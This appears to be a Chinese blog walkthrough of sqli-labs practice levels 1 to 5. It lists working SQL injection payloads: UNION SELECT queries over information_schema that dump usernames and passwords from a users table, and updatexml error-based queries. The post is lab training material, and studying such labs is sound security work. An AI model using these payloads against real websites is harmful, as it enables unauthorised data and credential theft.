sqli-labs靶场通关1-5

1.打开页面,出现下图所示

由此得出,此关卡需要我们输入一个id值,然后判断id值是字符型还是数字型。

输入?id=1‘发现页面报错,可以确定id值为字符型。

下一步,通过语句order by来确定有几列如?id=1' order by 1 --+,超过就会报错,将3换成4后会报错,说明有3列。

下一步爆出显示位

输入?id=-1'union select 1,2,3--+

再输入?id=-1'union select 1,database(),version()--+获取域名和版号

输入?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+得到

查询得知当前有四个数据库,根据表名推测用户账户和密码应该是在users中,然后输入

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

图中可以观察到存在用户名和密码,那就接着查询

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

完成。

2.打开题目

与第一题为同一类型。

判断类型为数字型,其余步骤一样

3.打开题目

先判断类型,输入?id=1'

根据报错信息可知,应该是字符型且有括号,改为?id=-1')继续题目一的步骤即可。

4.打开题目

输入?id=1判断类型得知是双引号还有括号,改为?id=-1"),余下步骤和题目一相同

5.

判断为数字型,但是页面与前四关明显不同

输入?id=1'and updatexml(1,concat('!',database(),'!'),1) -- q得到库名,继续输入?id=1'and updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1) --+

继续查询ususers表的列名

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

查询users name

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值